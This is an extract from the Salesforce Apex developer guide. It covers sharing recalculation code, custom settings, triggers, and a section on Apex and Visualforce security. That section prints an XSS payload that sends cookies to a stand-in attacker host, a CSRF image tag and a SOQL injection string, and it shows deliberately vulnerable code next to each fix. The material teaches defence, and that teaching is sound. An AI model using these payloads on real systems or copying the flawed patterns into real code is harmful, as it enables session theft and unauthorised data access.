Salesforce automatically recalculates sharing for all records on an object when its organization-wide sharing default access level changes. The recalculation adds Force.com managed sharing when appropriate. In addition, all types of sharing are removed if the access they grant is considered redundant. For example, manual sharing, which grants Read Only access to a user, is deleted when the objects sharing model changes from Private to Public Read Only. To recalculate Apex managed sharing, you must write an Apex class that implements a Salesforce-provided interface to do the recalculation. You must then associate the class with the custom object, on the custom object's detail page, in the Apex Sharing Recalculation related list. Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.

You can execute this class from the custom object detail page where the Apex sharing reason is specified. An administrator might need to recalculate the Apex managed sharing for an object if a locking issue prevented Apex code from granting access to a user as defined by the applications logic. You can also use the Database.executeBatch method to programmatically invoke an Apex managed sharing recalculation. Note: Every time a custom object's organization-wide sharing default access level is updated, any Apex recalculation classes defined for associated custom object are also executed. To monitor or stop the execution of the Apex recalculation, from Setup, click Monitoring > Apex Jobs or Jobs > Apex Jobs.

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Creating an Apex Class for Recalculating Sharing To recalculate Apex managed sharing, you must write an Apex class to do the recalculation. This class must implement the Salesforce-provided interface Database.Batchable. The Database.Batchable interface is used for all batch Apex processes, including recalculating Apex managed sharing. You can implement this interface more than once in your organization. For more information on the methods that must be implemented, see Using Batch Apex on page 212. Before creating an Apex managed sharing recalculation class, also consider the best practices. Important: The objects organization-wide default access level must not be set to the most permissive access level. For custom objects, this is Public Read/Write. For more information, see Access Levels on page 168.

Apex Managed Sharing Recalculation Example For this example, suppose you are building a recruiting application and have an object called Job. You want to validate that the recruiter and hiring manager listed on the job have access to the record. The following Apex class performs this validation. This example requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter. Also, the Job custom object should have two sharing reasons added called Hiring_Manager and Recruiter. Before you run this sample, replace the email address with a valid email address that you want to to send error notifications and job completion notifications to.
global class JobSharingRecalc implements Database.Batchable<sObject> { // String to hold email address that emails will be sent to. // Replace its value with a valid email address. static String emailAddress = '[email protected]'; // The start method is called at the beginning of a sharing recalculation. // This method returns a SOQL query locator containing the records // to be recalculated. global Database.QueryLocator start(Database.BatchableContext BC){ return Database.getQueryLocator([SELECT Id, Hiring_Manager__c, Recruiter__c FROM Job__c]); } // The executeBatch method is called for each chunk of records returned from start. global void execute(Database.BatchableContext BC, List<sObject> scope){ // Create a map for the chunk of records passed into method. Map<ID, Job__c> jobMap = new Map<ID, Job__c>((List<Job__c>)scope); // Create a list of Job__Share objects to be inserted. List<Job__Share> newJobShrs = new List<Job__Share>(); // Locate all existing sharing records for the Job records in the batch. // Only records using an Apex sharing reason for this app should be returned. List<Job__Share> oldJobShrs = [SELECT Id FROM Job__Share WHERE Id IN :jobMap.keySet() AND (RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)]; // Construct new sharing records for the hiring manager and recruiter // on each Job record. for(Job__c job : jobMap.values()){ Job__Share jobHMShr = new Job__Share(); Job__Share jobRecShr = new Job__Share(); // Set the ID of user (hiring manager) on the Job record being granted access. jobHMShr.UserOrGroupId = job.Hiring_Manager__c; // The hiring manager on the job should always have 'Read Only' access. jobHMShr.AccessLevel = 'Read'; // The ID of the record being shared

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jobHMShr.ParentId = job.Id; // Set the rowCause to the Apex sharing reason for hiring manager. // This establishes the sharing record as Apex managed sharing. jobHMShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c; // Add sharing record to list for insertion. newJobShrs.add(jobHMShr); // Set the ID of user (recruiter) on the Job record being granted access. jobRecShr.UserOrGroupId = job.Recruiter__c; // The recruiter on the job should always have 'Read/Write' access. jobRecShr.AccessLevel = 'Edit'; // The ID of the record being shared jobRecShr.ParentId = job.Id; // Set the rowCause to the Apex sharing reason for recruiter. // This establishes the sharing record as Apex managed sharing. jobRecShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c; // Add the sharing record to the list for insertion. newJobShrs.add(jobRecShr); } try { // Delete the existing sharing records. // This allows new sharing records to be written from scratch. Delete oldJobShrs; // Insert the new sharing records and capture the save result. // The false parameter allows for partial processing if multiple records are // passed into operation. Database.SaveResult[] lsr = Database.insert(newJobShrs,false); // Process the save results for insert. for(Database.SaveResult sr : lsr){ if(!sr.isSuccess()){ // Get the first save result error. Database.Error err = sr.getErrors()[0]; // Check if the error is related to trivial access level. // Access levels equal or more permissive than the object's default // access level are not allowed. // These sharing records are not required and thus an insert exception // is acceptable. if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION && err.getMessage().contains('AccessLevel'))){ // Error is not related to trivial access level. // Send an email to the Apex job's submitter. Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); String[] toAddresses = new String[] {emailAddress}; mail.setToAddresses(toAddresses); mail.setSubject('Apex Sharing Recalculation Exception'); mail.setPlainTextBody( 'The Apex sharing recalculation threw the following exception: ' + err.getMessage()); Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail }); } } } } catch(DmlException e) { // Send an email to the Apex job's submitter on failure. Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); String[] toAddresses = new String[] {emailAddress}; mail.setToAddresses(toAddresses); mail.setSubject('Apex Sharing Recalculation Exception');

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mail.setPlainTextBody( 'The Apex sharing recalculation threw the following exception: ' + e.getMessage()); Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail }); } } // The finish method is called at the end of a sharing recalculation. global void finish(Database.BatchableContext BC){ // Send an email to the Apex job's submitter notifying of job completion. Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); String[] toAddresses = new String[] {emailAddress}; mail.setToAddresses(toAddresses); mail.setSubject('Apex Sharing Recalculation Completed.'); mail.setPlainTextBody ('The Apex sharing recalculation finished processing'); Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail }); } }

Testing Apex Managed Sharing Recalculations This example inserts five Job records and invokes the batch job that is implemented in the batch class of the previous example. This example requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter. Also, the Job custom object should have two sharing reasons added called Hiring_Manager and Recruiter. Before you run this test, set the organization-wide default sharing for Job to Private. Note that since email messages arent sent from tests, and because the batch class is invoked by a test method, the email notifications wont be sent in this case.
@isTest private class JobSharingTester { // Test for the JobSharingRecalc class static testMethod void testApexSharing(){ // Instantiate the class implementing the Database.Batchable interface. JobSharingRecalc recalc = new JobSharingRecalc(); // Select users for the test. List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2]; ID User1Id = users[0].Id; ID User2Id = users[1].Id; // Insert some test job records. List<Job__c> testJobs = new List<Job__c>(); for (Integer i=0;i<5;i++) { Job__c j = new Job__c(); j.Name = 'Test Job ' + i; j.Recruiter__c = User1Id; j.Hiring_Manager__c = User2Id; testJobs.add(j); } insert testJobs; Test.startTest(); // Invoke the Batch class. String jobId = Database.executeBatch(recalc); Test.stopTest(); // Get the Apex job and verify there are no errors. AsyncApexJob aaj = [Select JobType, TotalJobItems, JobItemsProcessed, Status, CompletedDate, CreatedDate, NumberOfErrors from AsyncApexJob where Id = :jobId]; System.assertEquals(0, aaj.NumberOfErrors); // This query returns jobs and related sharing records that were inserted // by the batch job's execute method.

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List<Job__c> jobs = [SELECT Id, Hiring_Manager__c, Recruiter__c, (SELECT Id, ParentId, UserOrGroupId, AccessLevel, RowCause FROM Shares WHERE (RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)) FROM Job__c]; // Validate that Apex managed sharing exists on jobs. for(Job__c job : jobs){ // Two Apex managed sharing records should exist for each job // when using the Private org-wide default. System.assert(job.Shares.size() == 2); for(Job__Share jobShr : job.Shares){ // Test the sharing record for hiring manager on job. if(jobShr.RowCause == Schema.Job__Share.RowCause.Hiring_Manager__c){ System.assertEquals(jobShr.UserOrGroupId,job.Hiring_Manager__c); System.assertEquals(jobShr.AccessLevel,'Read'); } // Test the sharing record for recruiter on job. else if(jobShr.RowCause == Schema.Job__Share.RowCause.Recruiter__c){ System.assertEquals(jobShr.UserOrGroupId,job.Recruiter__c); System.assertEquals(jobShr.AccessLevel,'Edit'); } } } } }

Associating an Apex Class Used for Recalculation An Apex class used for recalculation must be associated with a custom object. To associate an Apex managed sharing recalculation class with a custom object: 1. 2. 3. 4. From Setup, click Create > Objects. Select the custom object. Click New in the Apex Sharing Recalculations related list. Choose the Apex class that recalculates the Apex sharing for this object. The class you choose must implement the Database.Batchable interface. You cannot associate the same Apex class multiple times with the same custom object. 5. Click Save.

Security Tips for Apex and Visualforce Development

Understanding Security The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and business logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However, as with any programming language, developers must be cognizant of potential security-related pitfalls. Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities, while others are unique to Apex. To certify an application for AppExchange, it is important that developers learn and understand the security flaws described here. For additional information, see the Force.com Security Resources page on Developer Force at http://wiki.developerforce.com/page/Security.

Cross Site Scripting (XSS)

Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web application. The Web application includes malicious scripting in a response to a user of the Web application. The 177

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user then unknowingly becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style websites, news, or email archives. For example, assume the following script is included in a Force.com page using a script component, an on* event, or a Visualforce page.
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo = '{!$CurrentPage.parameters.userparam}';</script>

This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were the victim. The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or session cookies, allowing an attacker full access to the victim's session. For more information on this attack in general, see the following articles: http://www.owasp.org/index.php/Cross_Site_Scripting http://www.cgisecurity.com/xss-faq.html http://www.owasp.org/index.php/Testing_for_Cross_site_scripting http://www.google.com/search?q=cross-site+scripting

Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default controls. The following sections show where protection does and does not exist. Existing Protection All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted to &lt; so that a literal < displays on the user's screen.
<apex:outputText> {!$CurrentPage.parameters.userInput} </apex:outputText>

Disabling Escape on Visualforce Tags By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional attribute escape="false". For example, the following output is vulnerable to XSS attacks:
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

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Programming Items Not Protected from XSS The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because these items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense to include anti-XSS filters on commands that are intentionally added to a page. Custom JavaScript If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is vulnerable to XSS if used in JavaScript.
<script> var foo = location.search; document.write(foo); </script>

<apex:includeScript> The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is extremely vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially direct the victim to include any JavaScript file from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

Unescaped Output and Formulas in Visualforce Pages

When using components that have set the escape attribute to false, or when including formulas outside of a Visualforce component, output is unfiltered and must be validated for security. This is especially important when using formula expressions. Formula expressions can be function calls or include information about platform objects, a user's environment, system environment, and the request environment. It is important to be aware that the output that is generated by expressions is not escaped during rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system data (that is potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering. A common vulnerability is created by rerendering user input on a page. For example,
<apex:page standardController="Account"> <apex:form> <apex:commandButton rerender="outputIt" value="Update It"/> <apex:inputText value="{!myTextField}"/> </apex:form> <apex:outputPanel id="outputIt"> Value of myTextField is <apex:outputText value=" {!myTextField}" escape="false"/> </apex:outputPanel> </apex:page>

The unescaped {!myTextField} results in a cross-site scripting vulnerability. For example, if the user enters :
<script>alert('xss')

and clicks Update It, the JavaScript is executed. In this case, an alert dialog is displayed, but more malicious uses could be designed. There are several functions that you can use for escaping potentially insecure strings. 179

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HTMLENCODE The HTMLENCODE function encodes text strings and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as &gt;. JSENCODE The JSENCODE function encodes text strings and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe JavaScript characters, such as the apostrophe ('). JSINHTMLENCODE The JSINHTMLENCODE function encodes text strings and merge field values for use in JavaScript within HTML tags by inserting escape characters before unsafe JavaScript characters and replacing characters that are reserved in HTML with HTML entity equivalents. URLENCODE The URLENCODE function encodes text strings and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the code that represent those characters as defined in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, exclamation points are replaced with %21. To use HTMLENCODE to secure the previous example, change the <apex:outputText> to the following:
<apex:outputText value=" {!HTMLENCODE(myTextField)}" escape="false"/>

If a user enters <script>alert('xss') and clicks Update It, the JavaScript is not be executed. Instead, the string is encoded and the page displays Value of myTextField is <script>alert('xss'). Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped counterparts may vary. For instance, this statement:
<script>var ret = "{!$CurrentPage.parameters.retURL}";script>var ret = "{!$CurrentPage.parameters.retURL}";</script>

requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped ", since it is going to be used in a link. Otherwise, the request:
http://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F

results in:
<script>var ret = "foo";alert('xss');//";</script>

The JavaScript executes, and the alert is displayed. In this case, to prevent the JavaScript being executed, use the JSENCODE function. For example
<script>var ret = "{!JSENCODE($CurrentPage.parameters.retURL)}";</script>

Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external sources and may not have been screened for malicious content.

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Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way to describe CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker's page is an HTML tag that looks like this:
<img src="http://www.yourwebpage.com/yourapplication/[email protected]&type=admin....." height=1 width=1 />

In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods. For more information and traditional defenses, see the following articles: http://www.owasp.org/index.php/Cross-Site_Request_Forgery http://www.cgisecurity.com/csrf-faq.html http://shiflett.org/articles/cross-site-request-forgeries

Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard controllers and methods. Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider the following code snippet.
<apex:page controller="myClass" action="{!init}"</apex:page> public class myClass { public void init() { Id id = ApexPages.currentPage().getParameters().get('id'); Account obj = [select id, Name FROM Account WHERE id = :id]; delete obj; return ; } }

In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page using a CSRF attack and provided any value they wish for the id parameter. There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while authenticated.

SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own database query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If

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Security Tips for Apex and Visualforce Development

the input is not validated, it can include SOQL commands that effectively modify the SOQL statement and trick the application into performing unintended commands. For more information on SQL Injection attacks see: http://www.owasp.org/index.php/SQL_injection http://www.owasp.org/index.php/Blind_SQL_Injection http://www.owasp.org/index.php/Guide_to_SQL_Injection http://www.google.com/search?q=sql+injection

SOQL Injection Vulnerability in Apex Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.
<apex:page controller="SOQLController" > <apex:form> <apex:outputText value="Enter Name" /> <apex:inputText value="{!name}" /> <apex:commandButton value="Query" action="{!query} /> </apex:form> </apex:page> public class SOQLController { public String name { get { return name;} set { name = value;} } public PageReference query() { String qryString = 'SELECT Id FROM Contact WHERE ' + '(IsDeleted = false and Name like \'%' + name + '%\')'; queryResult = Database.query(qryString); return null; } }

This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted. The user provides one input value called name. The value can be anything provided by the user and it is never validated. The SOQL query is built dynamically and then executed with the Database.query method. If the user provides a legitimate value, the statement executes as expected:
// User supplied value: name = Bob // Query string SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

However, what if the user provides unexpected input, such as:

// User supplied value for name: test%') OR (Name LIKE '

In that case, the query string becomes:

SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any vulnerable query.

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Custom Settings

SOQL Injection Defenses To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The vulnerable example above can be re-written using static SOQL as follows:
public class SOQLController { public String name { get { return name;} set { name = value;} } public PageReference query() { String queryName = '%' + name + '%'; queryResult = [SELECT Id FROM Contact WHERE (IsDeleted = false and Name like :queryName)]; return null; } }

If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.

Data Access Control

The Force.com platform makes extensive use of data sharing rules. Each object has permissions and may have sharing settings for which users can read, create, edit, and delete. These settings are enforced when using all standard controllers. When using an Apex class, the built-in user permissions and field-level security restrictions are not respected during execution. The default behavior is that an Apex class has the ability to read and update all data within the organization. Because these rules are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would normally be hidden from users by user permissions, field-level security, or organization-wide defaults. This is particularly true for Visualforce pages. For example, consider the following Apex pseudo-code:
public class customController { public void read() { Contact contact = [SELECT id FROM Contact WHERE Name = :value]; } }

In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these records. The solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController { . . . }

The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than granting full access to all records.

Custom Settings
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation rules, Apex, and the SOAP API. There are two types of custom settings:

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Custom Settings

List Custom Settings A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you use a particular set of data frequently within your application, putting that data in a list custom setting streamlines access to it. Data in list settings does not vary with profile or user, but is available organization-wide. Examples of list data include two-letter state abbreviations, international dialing prefixes, and catalog numbers for products. Because the data is cached, access is low-cost and efficient: you don't have to use SOQL queries that count against your governor limits. Hierarchy Custom Settings A type of custom setting that uses a built-in hierarchical logic that lets you personalize settings for specific profiles or users. The hierarchy logic checks the organization, profile, and user settings for the current user and returns the most specific, or lowest, value. In the hierarchy, settings for an organization are overridden by profile settings, which, in turn, are overridden by user settings. The following examples illustrate how you can use custom settings: A shipping application requires users to fill in the country codes for international deliveries. By creating a list setting of all country codes, users have quick access to this data without needing to query the database. An application displays a map of account locations, the best route to take, and traffic conditions. This information is useful for sales reps, but account executives only want to see account locations. By creating a hierarchy setting with custom checkbox fields for route and traffic, you can enable this data for just the Sales Rep profile.

You can create a custom setting in the Salesforce user interface: from Setup, click Develop > Custom Settings. After creating a custom setting and youve added fields, provide data to your custom setting by clicking Manage from the detail page. Each data set is identified by the name you give it. For example, if you have a custom setting named Foundation_Countries__c with one text field Country_Code__c, your data sets can look like the following: Data Set Name United States Canada United Kingdom Country Code Field Value USA CAN GBR

You can also include a custom setting in a package. The visibility of the custom setting in the package depends on the Visibility setting. Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must populate the custom settings using Apex code run by the subscribing organization after theyve installed the package. Apex can access both custom setting typeslist and hierarchy. Note: If Privacy for a custom setting is Protected and the custom setting is contained in a managed package, the subscribing organization cannot edit the values or access them using Apex.

Accessing a List Custom Setting

The following example returns a map of custom settings data. The getAll method returns values for all custom fields associated with the list setting.
Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();

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The following example uses the getValues method to return all the field values associated with the specified data set. This method can be used with both list and hierarchy custom settings, using different parameters.
CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);

Accessing a Hierarchy Custom Setting

The following example uses the getOrgDefaults method to return the data set values for the organization level:
CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();

The following example uses the getInstance method to return the data set values for the specified profile. The getInstance method can also be used with a user ID.
CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);

See Also:
Custom Settings Methods

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Chapter 8
Invoking Apex
In this chapter ... Anonymous Blocks Triggers Asynchronous Apex Web Services Apex Email Service Visualforce Classes Invoking Apex Using JavaScript
This chapter describes in detail the different mechanisms for invoking Apex code. Here is an overview of the many ways you can invoke Apex. You can run Apex using: A code snippet in an anonymous block. A trigger invoked for specified events. Asynchronous Apex by executing a future method, scheduling an Apex class to run at specified intervals, or running a batch job. Apex Web Services, which allow exposing your methods via SOAP and REST Web services. Apex Email Service to process inbound email. Visualforce controllers, which contain logic in Apex for Visualforce pages. The Ajax toolkit to invoke Web service methods implemented in Apex.

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Anonymous Blocks

Anonymous Blocks
An anonymous block is Apex code that does not get stored in the metadata, but that can be compiled and executed using one of the following: Developer Console Force.com IDE The executeAnonymous SOAP API call:
ExecuteAnonymousResult executeAnonymous(String code)

You can use anonymous blocks to quickly evaluate Apex on the fly, such as in the Developer Console or the Force.com IDE, or to write code that changes dynamically at runtime. For example, you might write a client Web application that takes input from a user, such as a name and address, and then uses an anonymous block of Apex to insert a contact with that name and address into the database. Note the following about the content of an anonymous block (for executeAnonymous, the code String): Can include user-defined methods and exceptions. User-defined methods cannot include the keyword static. You do not have to manually commit any database changes. If your Apex trigger completes successfully, any database changes are automatically committed. If your Apex trigger does not complete successfully, any changes made to the database are rolled back. Unlike classes and triggers, anonymous blocks execute as the current user and can fail to compile if the code violates the user's object- and field-level permissions. Do not have a scope other than local. For example, though it is legal to use the global access modifier, it has no meaning. The scope of the method is limited to the anonymous block. When you define a class or interface (a custom type) in an anonymous block, the class or interface is considered virtual by default when the anonymous block executes. This is true even if your custom type wasnt defined with the virtual modifier. Save your class or interface in Salesforce to avoid this from happening. Note that classes and interfaces defined in an anonymous block arent saved in your organization.

Even though a user-defined method can refer to itself or later methods without the need for forward declarations, variables cannot be referenced before their actual declaration. In the following example, the Integer int must be declared while myProcedure1 does not:
Integer int1 = 0; void myProcedure1() { myProcedure2(); } void myProcedure2() { int1++; } myProcedure1();

The return result for anonymous blocks includes: Status information for the compile and execute phases of the call, including any errors that occur The debug log content, including the output of any calls to the System.debug method (see Understanding the Debug Log on page 341)

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Triggers

The Apex stack trace of any uncaught code execution exceptions, including the class, method, and line number for each call stack element

For more information on executeAnonymous(), see SOAP API and SOAP Headers for Apex. See also Working with Logs in the Developer Console and the Force.com IDE.

Triggers
Apex can be invoked through the use of triggers. A trigger is Apex code that executes before or after the following types of operations: insert update delete merge upsert undelete

For example, you can have a trigger run before an object's records are inserted into the database, after records have been deleted, or even after a record is restored from the Recycle Bin. You can define triggers for top-level standard objects that support triggers, such as a Contact or an Account, some standard child objects, such as a CaseComment, and custom objects. For case comments, from Setup, click Customize > Cases > Case Comments > Triggers. For email messages, from Setup, click Customize > Cases > Email Messages > Triggers.

Triggers can be divided into two types: Before triggers can be used to update or validate record values before they are saved to the database. After triggers can be used to access field values that are set by the database (such as a record's Id or lastUpdated field), and to affect changes in other records, such as logging into an audit table or firing asynchronous events with a queue.

Triggers can also modify other records of the same type as the records that initially fired the trigger. For example, if a trigger fires after an update of contact A, the trigger can also modify contacts B, C, and D. Because triggers can cause other records to change, and because these changes can, in turn, fire more triggers, the Apex runtime engine considers all such operations a single unit of work and sets limits on the number of operations that can be performed to prevent infinite recursion. See Understanding Execution Governors and Limits on page 240. Additionally, if you update or delete a record in its before trigger, or delete a record in its after trigger, you will receive a runtime error. This includes both direct and indirect operations. For example, if you update account A, and the before update trigger of account A inserts contact B, and the after insert trigger of contact B queries for account A and updates it using the DML update statement or database method, then you are indirectly updating account A in its before trigger, and you will receive a runtime error.

Implementation Considerations
Before creating triggers, consider the following:
upsert triggers fire both before and after insert or before and after update triggers as appropriate. merge triggers fire both before and after delete triggers for the losing records and before update triggers for the

winning record only. See Triggers and Merge Statements on page 196. Triggers that execute after a record has been undeleted only work with specific objects. See Triggers and Recovered Records on page 196.

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Field history is not recorded until the end of a trigger. If you query field history in a trigger, you will not see any history for the current transaction. For Apex saved using Salesforce.com API version 20.0 or earlier, if an API call causes a trigger to fire, the chunk of 200 records to process is further split into chunks of 100 records. For Apex saved using Salesforce.com API version 21.0 and later, no further splits of API chunks occur. Note that static variable values are reset between API batches, but governor limits are not. Do not use static variables to track state information between API batches.

Bulk Triggers
All triggers are bulk triggers by default, and can process multiple records at a time. You should always plan on processing more than one record at a time. Note: An Event object that is defined as recurring is not processed in bulk for insert, delete, or update triggers.

Bulk triggers can handle both single record updates and bulk operations like: Data import Force.com Bulk API calls Mass actions, such as record owner changes and deletes Recursive Apex methods and triggers that invoke bulk DML statements

Trigger Syntax
To define a trigger, use the following syntax:
trigger triggerName on ObjectName (trigger_events) { code_block }

where trigger_events can be a comma-separated list of one or more of the following events:
before insert before update before delete after insert after update after delete after undelete

Note: You can only use the webService keyword in a trigger when it is in a method defined as asynchronous; that is, when the method is defined with the @future keyword. A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime error when the trigger is called in bulk from the Force.com API.

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Trigger Context Variables

For example, the following code defines a trigger for the before insert and before update events on the Account object:
trigger myAccountTrigger on Account (before insert, before update) { // Your code here }

